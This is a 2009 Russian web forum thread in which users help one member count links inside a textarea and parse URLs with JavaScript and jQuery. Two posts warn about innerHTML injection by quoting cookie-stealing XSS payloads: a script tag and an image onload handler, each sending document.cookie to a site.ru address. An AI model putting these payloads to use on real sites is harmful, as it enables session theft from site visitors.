|
Поискссылок на другой страницу
|
|
| MegaFill | Дата: 23 Марта 2009, 17:43 | Сообщение # 21 |  ● ● ● ● ● 1588 сообщений Статус: Offline | Vanofuture, нет, есть textarea с каким-то кодом. Нужно в нем выбрать все ссылки и кодом ******[i] я мог обращаться к этой ссылке. | | |
|
| Vanofuture | Дата: 23 Марта 2009, 17:54 | Сообщение # 22 |  ● ● ● ● ● Все админы едят апельсины 1650 сообщений Статус: Offline | MegaFill, ты понимаешь разницу между объектом и строкой?  Добавлено (23 Март 2009, 17:54) --------------------------------------------- А вообще пробуй так: Code var howmanylinks = $('a', document.getElementsById('textarea').value).length; | | |
|
| MegaFill | Дата: 23 Марта 2009, 18:12 | Сообщение # 23 |  ● ● ● ● ● 1588 сообщений Статус: Offline | ФФ ругается на эту строчку | | |
|
| Бармалей | Дата: 23 Марта 2009, 18:13 | Сообщение # 24 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | А вообще пробуй так: Code var howmanylinks = $('a', document.getElementsById('textarea').value).length; Тогда ужCode var howmanylinks = $('a', $('#textarea').val()).size(); Quote А вообще пробуй так: ФФ ругается на эту строчку Конкретней
 | | |
|
| }{0тт@бь)ч | Дата: 23 Марта 2009, 18:31 | Сообщение # 25 | ● ● ● ● ● 1089 сообщений Статус: Offline | извращенцы. innerhtml-ом внесите содержимое в скрытый див и подсчитайте количество линков там | | |
|
| Бармалей | Дата: 23 Марта 2009, 18:32 | Сообщение # 26 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | Ага, особенно если внутри textarea есть Code <script>location.href='http://site.ru/p.php?'+document.cookie</script>
 | | |
|
| MegaFill | Дата: 23 Марта 2009, 18:53 | Сообщение # 27 |  ● ● ● ● ● 1588 сообщений Статус: Offline | var howmanylinks = $('a', $('#textarea').val()).size(); Не работает. }{0тт@бь)ч, П.С. каким параметром определяется то, что внутри textarea? | | |
|
| }{0тт@бь)ч | Дата: 23 Марта 2009, 20:13 | Сообщение # 28 | ● ● ● ● ● 1089 сообщений Статус: Offline | Бармалей, ага, особенно если учесть что при innerHTML-е скрипты не выполняются.Добавлено (23 Март 2009, 20:13) --------------------------------------------- MegaFill, textarea.value | | |
|
| Бармалей | Дата: 24 Марта 2009, 07:37 | Сообщение # 29 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | Бармалей, ага, особенно если учесть что при innerHTML-е скрипты не выполняются. Ага, особенно если учесть что скрипты бывают не только в <script>'еCode <img src="http://s3.ucoz.net/sm/1/batman.gif" onload="location.href='http://site.ru/p.php?'+document.cookie" /> P.S. Только что пытался создать HTML файл, мне ОСь 2 раза (!) сказала что такой файл существует.. цпп. %)
 | | |
|
| MegaFill | Дата: 24 Марта 2009, 12:19 | Сообщение # 30 |  ● ● ● ● ● 1588 сообщений Статус: Offline | КОроче я сделал импорт удаленного кода и в нем ищу. Все работает. Теперь только встал вопрос: а как средством innerHTML можно выводить в span текст циклом. Поясняю: На первом прогоне цикла идет "текст1" в спан, на втором "текст1" заменяется на "текст2", а как сделать чтобы не заменялся, а прибавлялся: текст1 тект2 тектN? | | |
|
| Бармалей | Дата: 24 Марта 2009, 12:28 | Сообщение # 31 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | Code textarea.value += 'valud to add'
 | | |
|
| MegaFill | Отредактировал MegaFill - Вторник, 24 Марта 2009, 12:57 Дата: 24 Марта 2009, 21:03 | Сообщение # 32 |  ● ● ● ● ● 1588 сообщений Статус: Offline | Бармалей, спс  Добавлено (24 Март 2009, 21:03) --------------------------------------------- Все вроде, почти закончил, осталось только сделать еще одну вещь. НАчал разбираться с регулярными выражениями, но так и не понял как выделить из строки http://www.google.ru/search подстроку search, одним словом с конца взять все, до символа / | | |
|
| }{0тт@бь)ч | Отредактировал }{0тт@бь)ч - Среда, 25 Марта 2009, 08:49 Дата: 25 Марта 2009, 08:48 | Сообщение # 33 | ● ● ● ● ● 1089 сообщений Статус: Offline | MegaFill, Code var str = 'http://www.google.ru/search'; str2 = str.substring(str.replace('//','').indexOf('/')+3,str.length); | | |
|
| NecroProger | Отредактировал NecroProger - Среда, 25 Марта 2009, 09:19 Дата: 25 Марта 2009, 09:18 | Сообщение # 34 |  ● ● ● ● ● 1024 сообщения Статус: Offline | | | |
|
| Бармалей | Дата: 25 Марта 2009, 09:37 | Сообщение # 35 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | NecroProger, 2 символа были удалены, а искомый слеш нам не нужен. Но лучше так:Code var str = 'http://www.google.ru/search'; str2 = str.substring(str.indexOf('/',8)+1);
 | | |
|
| NecroProger | Дата: 25 Марта 2009, 09:55 | Сообщение # 36 |  ● ● ● ● ● 1024 сообщения Статус: Offline | Бармалей, да, я забыл про два слэша. Спасибо. Твой вариант элегантней, но, например, ссылку он не обработает.Добавлено (25 Март 2009, 09:49) --------------------------------------------- Тогда уж так: Code var str='http://www.google.ru/search'; var str2=str.substring(str.indexOf('/'),str.indexOf('//')+2)+1); Заметим, что даже если второй индексОф вернёт "-1", то +2=1, так что ссылки вида он всё-таки не обработает.Добавлено (25 Март 2009, 09:51) --------------------------------------------- Можно, конечно, отдельным if, но это не красиво. Добавлено (25 Март 2009, 09:55) ---------------------------------------------
Code var str='http://www.google.ru/search'; var slashTwoPos=str.indexOf('//'); var slashTwoPos=slashTwoPos==-1?0:slashTwoPos+2; var str2=str.substring(str.indexOf('/'),slashTwoPos)+1); Вот, вроде обрабатывает все ссылки. | | |
|
| Бармалей | Дата: 25 Марта 2009, 09:59 | Сообщение # 37 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | Бармалей, да, я забыл про два слэша. Спасибо. Твой вариант элегантней, но, например, ссылку он не обработает. О таком и не просили
 | | |
|
| NecroProger | Дата: 25 Марта 2009, 10:02 | Сообщение # 38 |  ● ● ● ● ● 1024 сообщения Статус: Offline | Ой, там ошибочка. И не обрабатывает такие ссылки: Вот: Code var str='http://www.google.ru/search'; var slashTwoPos=str.indexOf('//'); slashTwoPos=(slashTwoPos==-1)?0:slashTwoPos+2; var firstSlashPos=str.indexOf('/',slashTwoPos); firstSlashPos=(firstSlashPos==-1)?str.length:firstSlashPos+1; var str2=str.substring(firstSlashPos); Добавлено (25 Март 2009, 10:02) --------------------------------------------- Бармалей, а вдруг?  | | |
|
| Бармалей | Дата: 25 Марта 2009, 10:04 | Сообщение # 39 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | Если уж на то пошло, то ни один из предложенных вариантов не будет обрабатывать ссылки вида:- http://google.ru/search/unneeded
- rambler.ru/?search=
- helper.ucoz.ru/search.php?q=
- и многие другие
 | | |
|
| NecroProger | Дата: 25 Марта 2009, 10:15 | Сообщение # 40 |  ● ● ● ● ● 1024 сообщения Статус: Offline | одним словом с конца взять все, до символа / Так что http://google.ru/search/unneeded - search/unneeded, - ?search=, helper.ucoz.ru/search.php?q= - search.php?q=. Последний вариант всё обработал.Добавлено (25 Март 2009, 10:15) ---------------------------------------------
- ничего не выдал, т. к. посчитал чистым адресом сайта без папок. | | |
|